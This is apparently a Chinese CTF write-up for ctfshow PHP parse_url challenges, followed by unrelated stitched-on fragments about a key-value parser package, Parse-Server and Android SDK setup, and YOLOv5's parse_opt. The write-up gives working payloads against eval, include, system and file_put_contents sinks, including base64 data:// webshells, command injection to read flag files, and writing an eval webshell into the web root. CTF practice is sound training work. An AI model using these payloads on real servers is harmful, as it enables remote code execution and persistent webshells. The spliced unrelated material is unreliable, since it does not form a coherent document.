# @Date: 2023-05-10 09:52:06 # @Last Modified by: h1xa # @Last Modified time: 2023-05-10 10:58:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com $data = parse_url ( $_GET [ 'u' ] ) ; eval ( $data [ 'host' ] ) ;

Payload:?u=http://system('cd ..;cd ..;cd ..;cat flag_is_here.txt');

在这里插入图片描述
也可以通过 POST 去执行命令获取,得到 flag flag_is_here.txt cat 查看一下即可。

?u=http://eval($_POST[a]);
a=system("ls /");
 

ctfshow{a0e80fdb-2488-41ec-ab41-3f444485afb6}

>  <?php
> # -*- coding: utf-8 -*-
> # @Author: h1xa
> # @Date:   2023-05-10 09:52:06
> # @Last Modified by:   h1xa
> # @Last Modified time: 2023-05-12 13:25:53
> # @email: h1xa@ctfer.com
> # @link: https://ctfer.com
> $data = parse_url($_GET['u']);
> include $data['host'].$data['path'];

在这里插入图片描述
Payload:

?u=ctfshow://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b

ctfshow{d855cf94-0ea0-4ae6-9983-25331dae4b3d}

# -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-05-10 09:52:06 # @Last Modified by: h1xa # @Last Modified time: 2023-05-12 13:29:18 # @email: h1xa@ctfer.com # @link: https://ctfer.com $data = parse_url($_GET['u']); include $data['scheme'].$data['path'];

Payload:

get:?u=data:://test/plain;base64,PD9waHAgc3lzdGVtKCRfUE9TVFtBXSk7Pz4=
post:A=tac /_f*
 

ctfshow{595cf0e0-350b-4a58-aa16-970b290fd1c9}

# -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-05-10 09:52:06 # @Last Modified by: h1xa # @Last Modified time: 2023-05-12 13:29:35 # @email: h1xa@ctfer.com # @link: https://ctfer.com $data = parse_url($_GET['u']); system($data['host']);

Payload:?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s*

ctfshow{644f5bb8-5572-4569-882d-1a5673e01f9b}

# -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-05-10 09:52:06 # @Last Modified by: h1xa # @Last Modified time: 2023-05-12 13:29:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com extract(parse_url($_GET['u'])); include $$$$$$host;

在这里插入图片描述
Payload:

get:
?u=%75%73%65%72%3a%2f%2f%70%61%73%73%3a%71%75%65%72%79%40%73%63%68%65%6d%65%2f%3f%66%72%61%67%6d%65%6e%74%23%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%50%44%39%77%61%48%41%67%63%33%6c%7a%64%47%56%74%4b%43%52%66%55%45%39%54%56%46%74%42%58%53%6b%37%50%7a%34%3d
post:
A=tac /_f1a*
 

ctfshow{2c95c0cf-6c53-46ce-bd87-1221067bc07a}

# -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-05-10 09:52:06 # @Last Modified by: h1xa # @Last Modified time: 2023-05-12 13:29:18 # @email: h1xa@ctfer.com # @link: https://ctfer.com $data = parse_url($_GET['u']); file_put_contents($data['path'], $data['host']);

在这里插入图片描述
Payload:

get:
?u=http://111<script language="php">eval($_POST[A]);/var/www/html/zzz.php  
post:
A=system("tac /_f1a*");
 

ctfshow{ba400845-b41f-4612-8f5a-30fa718db9a1}

至此本周的周末大挑战全部通过,感谢大家的观看和官网的wp不一样(当时做完了没有及时写 现在补完啦,又是充实的一天😊!)

yarn add parse-key-value-pair const parseKeyValue = require ( 'parse-key-value-pair' ) const [ key , value ] = parseKeyValue ( 'NODE_ENV=production' ) parseKeyValuePair(input) => [key, value] 返回解析的键和值 parseKeyValuePair(input, { ignoreMalformed: true }) => [key, value] | null 返回已解析的键和值,对于格式错误的字符串(如" 这是一个示例应用程序,用于展示如何通过使用 gem将应用程序与后端集成。 确保您拥有方便使用的Parse-Server的API密钥。 首先,请克隆此存储库并运行bundle命令。 $ bundle install 编辑文件,以便使用您的Parse-Server API密钥对其进行配置。 您可以选择使用.env文件,该文件将被加载到ENV 。 # in .env PARSE_SERVER_URL=https://api.parse.com/1 PARSE_APP_ID=<YOUR> PARSE_API_KEY=<YOUR> PARSE_MASTER_KEY=<YOUR> 模型生成器 我们在创建了一个样本Song and Artist模型。 要升级架构并创建这些新集合,请运行parse:upgrade 该库可让您从Android应用访问强大的Parse云平台。 有关Parse及其功能的更多信息,请,和。 将此添加到您的根build.gradle文件(而不是模块build.gradle文件)中: allprojects { repositories { maven { url " https://jitpack.io " } 然后,将该库添加到您的项目build.gradle ext { parseVersion = " latest.version.here " dependencies { implementation " com.github.parse-community.Parse-SDK-Android:parse: $p arseVersion " // for Google login/signup support (optional) implementation " com.github.parse-community.Parse-SDK-Android:go
在yolov5-master中,parse_opt函数是一个用于解析命令行参数的函数。该函数使用了Python中的argparse模块,可以从命令行中读取参数并对其进行解析,从而帮助用户配置YOLOv5模型的训练和测试过程。 具体来说,parse_opt函数定义了一系列命令行参数,比如模型的名称、训练集和验证集的路径、学习率、batch size等。当用户输入命令行参数时,parse_opt函数将读取这些参数,并将它们存储在一个配置字典中,以便在后续的训练或测试过程中使用。 例如,当用户输入以下命令时: python train.py --data coco.yaml --cfg yolov5s.yaml --weight '' --batch-size 64 --epochs 300 --name yolov5s_results parse_opt函数将读取并解析这些参数,并将它们存储在一个名为opt的字典中,以便在训练过程中使用。